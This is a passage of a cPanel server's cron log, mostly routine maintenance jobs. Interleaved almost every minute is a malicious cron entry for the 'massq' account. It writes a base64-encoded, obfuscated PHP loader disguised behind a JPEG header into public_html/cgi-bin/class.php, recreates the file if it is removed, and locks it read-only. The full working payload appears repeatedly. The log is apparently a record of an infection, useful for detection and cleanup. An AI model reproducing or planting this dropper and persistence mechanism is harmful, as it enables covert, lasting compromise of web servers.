xcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:12:01 server CROND[10073]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:12:01 server CROND[10074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:12:01 server CROND[10077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:12:01 server CROND[10076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:13:01 server CROND[10445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:13:01 server CROND[10446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:13:01 server CROND[10447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:14:01 server CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:14:01 server CROND[10820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:14:01 server CROND[10821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:15:01 server CROND[11303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:15:01 server CROND[11305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:15:01 server CROND[11306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:15:01 server CROND[11308]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:15:01 server CROND[11309]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 17:15:01 server CROND[11307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:15:01 server CROND[11310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:15:01 server CROND[11312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:16:01 server CROND[12212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:16:01 server CROND[12213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:16:01 server CROND[12214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:17:01 server CROND[12621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:17:01 server CROND[12622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:17:01 server CROND[12623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:18:01 server CROND[12999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:18:01 server CROND[13000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:18:01 server CROND[13001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:19:01 server CROND[13362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:19:01 server CROND[13363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:19:01 server CROND[13364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:20:01 server CROND[13843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:20:01 server CROND[13844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:20:01 server CROND[13845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:20:01 server CROND[13850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:20:01 server CROND[13848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:20:01 server CROND[13846]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:20:01 server CROND[13849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:20:01 server CROND[13852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:20:01 server CROND[13847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:21:01 server CROND[14702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:21:01 server CROND[14703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:21:01 server CROND[14704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:22:01 server CROND[15088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:22:01 server CROND[15089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:22:01 server CROND[15090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:23:01 server CROND[15454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:23:01 server CROND[15455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:23:01 server CROND[15456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:24:01 server CROND[15829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
